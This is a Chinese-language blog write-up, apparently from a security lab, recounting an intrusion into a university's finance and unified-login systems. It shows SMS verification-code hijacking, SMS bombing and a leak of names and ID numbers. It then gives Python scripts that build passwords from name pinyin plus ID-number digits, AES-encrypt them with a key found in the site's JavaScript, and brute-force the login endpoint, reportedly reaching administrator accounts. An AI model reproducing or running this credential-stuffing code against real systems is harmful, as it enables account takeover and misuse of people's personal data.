在信息收集过程中找到了某学院的公众号,发现了财务收费平台
Google语法找到了部分教师工号,直接获取验证码
抓包
看到用户名和手机号一起发的就得试一试验证码劫持,直接修改为自己的手机号
成功发送,必须试短信轰炸,送分题
以为轻轻松松,没想到还有验证
小问题,给前面的qq地址删了就行
但是没想到还有验证
点哪都是验证,还是得要微信来,开Fiddler。这时候要重新发送那个验证码劫持的数据包,然后在将验证码输入到微信的登录框中
大量敏感信息,这种就是开发过程中为了省事,直接select * from,card_id表示身份证号
得到姓名身份证号,就可以试一试爆破统一身份认证了,猜测密码为姓名的拼音加身份证后六位
先写脚本制作制作字典
import
pinyin
def
getStrAllAlpha
(str)
:
s = pinyin.get_initial(str, delimiter=
""
).upper()
return
s.lower()
def
getStrFirstAlpha
(str)
:
str = getStrAllAlpha(str)
str = str[
0
:
1
]
return
str.upper()
if
__name__ ==
'__main__'
:
str=
'陈冠希'
s = getStrAllAlpha(str)
b = getStrFirstAlpha(str)
print(s)
print(b)
在取json,然后传递数据
import
json
data = '[{
"name"
:
"陈冠希"
,
"card"
:
123456
},{
"name"
:
"陈冠希"
,
"card"
:
123456
}]'
json_array = json.loads(data, strict=
False
)
for
json_obj
in
json_array:
Card
= json_obj.
get
(
"card"
)
Name
= json_obj.
get
(
"name"
)
if
Card
is
None
:
Card
=
""
if
Name
is
None
:
Name
=
""
(
"姓名:{:<10}身份证号:{:<20}"
.format(
Card
,
Name
))
然后组合一下
import
json
import
pinyin
def
getStrAllAlpha
(str)
:
s = pinyin.get_initial(str, delimiter=
""
).upper()
return
s.lower()
def
getStrFirstAlpha
(str)
:
str = getStrAllAlpha(str)
str = str[
0
:
1
]
return
str.upper()
if
__name__ ==
'__main__'
:
data =
'[{"name": "陈冠希", "card": 123456},{"name": "陈冠希", "card": 123456}]'
json_array = json.loads(data, strict=
False
)
for
json_obj
in
json_array:
Card = json_obj.get(
"card"
)
Name = json_obj.get(
"name"
)
if
Card
is
None
:
Card =
""
if
Name
is
None
:
1
Name =
""
s = getStrAllAlpha(Name)
pwd = s + str(Card)
print(
"姓名:{:<10}身份证号:{:<20}密码:{:<20}"
.format(Name, Card, pwd))
然后再去统一身份认证看看密码是否加密
加密了,就密码采取了加密,那就逆一下js。搜索一下userLogin,先找到函数位置
打个断点调试一下,大概率aes加密了
正当我打算扣js,入手js逆向的时候,发现直接给出了,key和iv
拿去解密一下
js逆向不太擅长,打算用python写个脚本,这时候就要请出AI同学了
然后在写个请求的脚本,结合之前的密码制作脚本组合一下
import
urllib
import
requests
from
Crypto.Cipher
import
AES
import
base64
import
json
import
re
import
pinyin
data =
'''[{"name": "陈冠希", "card": 123456, "sfz": "123456789123456789"},{"name": "陈冠希", "card": 123456, "sfz": "123456789123456789"}]'''
def
aes
(data)
:
keyStr =
"1234567890adbcde"
ivStr =
"1234567890hjlkew"
key = keyStr.encode(
'utf-8'
)
iv = ivStr.encode(
'utf-8'
)
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_data = data.encode(
'utf-8'
).ljust(
16
,
b'�'
)
encrypted_data = cipher.encrypt(padded_data)
encoded_data = base64.b64encode(encrypted_data).decode(
'utf-8'
)
return
encoded_data
def
getStrAllAlpha
(str)
:
s = pinyin.get_initial(str, delimiter=
""
).upper()
return
s.lower()
def
getStrFirstAlpha
(str)
:
str = getStrAllAlpha(str)
str = str[
0
:
1
]
return
str.upper()
def
requesturl
(card, pwd)
:
url =
"https://***.edu.cn/authserver/userLogin"
headers = {
"Host"
:
"***.edu.cn"
,
"Accept"
:
"*/*"
,
"Content-Type"
:
"application/x-www-form-urlencoded; charset=UTF-8"
,
"User-Agent"
:
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36"
,
"X-Requested-With"
:
"XMLHttpRequest"
,
"sec-ch-ua-mobile"
:
"?0"
,
"Connection"
:
"close"
}
data =
'serviceUrl=password='
+ pwd +
'&username='
+ card +
'&loginCaptcha='
try
:
response = requests.post(url=url, headers=headers, data=data, timeout=
40
)
return
response.text
except
Exception
as
e:
return
"请求失败:{}"
.format(url)
if
__name__ ==
'__main__'
:
json_array = json.loads(data, strict=
False
)
for
json_obj
in
json_array:
name = json_obj.get(
"name"
)
card = json_obj.get(
"card"
)
sfz = json_obj.get(
"sfz"
)
if
name
is
None
:
name =
""
if
card
is
None
:
card =
""
if
sfz
is
None
:
sfz =
""
s = getStrAllAlpha(name)
pwd = s + sfz[
12
:
18
]
pwd_r = aes(pwd)
pwd_res = urllib.parse.quote(pwd_r)
data = requesturl(str(card), pwd_res)
str_template =
'''card:{:<10}password:{:<20}pwd_res:{:<40}res:{:<20}'''
result = str_template.format(card, pwd, pwd_res, data)
print(result)
但是跑了一会都不对,可能密码组合不是这样的,猜测密码可能有复杂度要求,那就增加首字母大写,但是还是不行
去google语法一下看看也没有工号密码规律
还新鲜的,那就采取这个密码方式
成功了,而且跑出来不少,慢慢找吧,大概率有权限高的用户
教务系统管理员
图书馆管理系统
离校系统
原文始发于微信公众号(巢安实验室):记一次某edu挖洞过程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论